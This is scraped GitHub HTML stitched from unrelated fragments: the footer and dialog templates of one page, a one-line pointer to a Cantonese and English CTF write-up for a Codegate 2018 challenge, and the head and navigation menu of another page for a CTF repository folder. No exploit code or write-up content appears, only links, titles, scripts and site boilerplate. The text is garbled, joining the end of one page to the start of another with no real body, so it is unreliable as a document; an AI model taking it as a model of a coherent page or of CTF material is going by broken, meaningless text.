<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Cantonese and English writeup.
[https://github.com/harrier-lcc/CTF-writeup/tree/master/2018/codegate-quals/useless-returnz](https://github.com/harrier-lcc/CTF-writeup/tree/master/2018/codegate-quals/useless-returnz) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf/codegate2018/Supermarimo at master · zj3t/ctf · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B03A:B9C6:AA808C6:AEF5F17:6412271C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f3110b10c66ea80129b488bb8e2147423953ab3ccee826d1aa6ace9ab00a3e74" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDNBOkI5QzY6QUE4MDhDNjpBRUY1RjE3OjY0MTIyNzFDIiwidmlzaXRvcl9pZCI6IjU5NjQ3MTQ2Mjk0Njg5MjM2NzYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="62c95368949e872e287315db685af73b68debb6739bf93341f632ae7e22eea27" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:118874597" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/codegate2018/Supermarimo at master · zj3t/ctf" /><meta name="twitter:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5f4f7ceb6c41fe063033336c91d4b6c143ef8534f2dd09a954ab392af43deda7/zj3t/ctf" /><meta property="og:image:alt" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/codegate2018/Supermarimo at master · zj3t/ctf" /><meta property="og:url" content="https://github.com/zj3t/ctf" /><meta property="og:description" content="solving ctf/write-up. Contribute to zj3t/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/zj3t/ctf git https://github.com/zj3t/ctf.git">
<meta name="octolytics-dimension-user_id" content="35731091" /><meta name="octolytics-dimension-user_login" content="zj3t" /><meta name="octolytics-dimension-repository_id" content="118874597" /><meta name="octolytics-dimension-repository_nwo" content="zj3t/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="118874597" /><meta name="octolytics-dimension-repository_network_root_nwo" content="zj3t/ctf" />
<link rel="canonical" href="https://github.com/zj3t/ctf/tree/master/codegate2018/Supermarimo" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
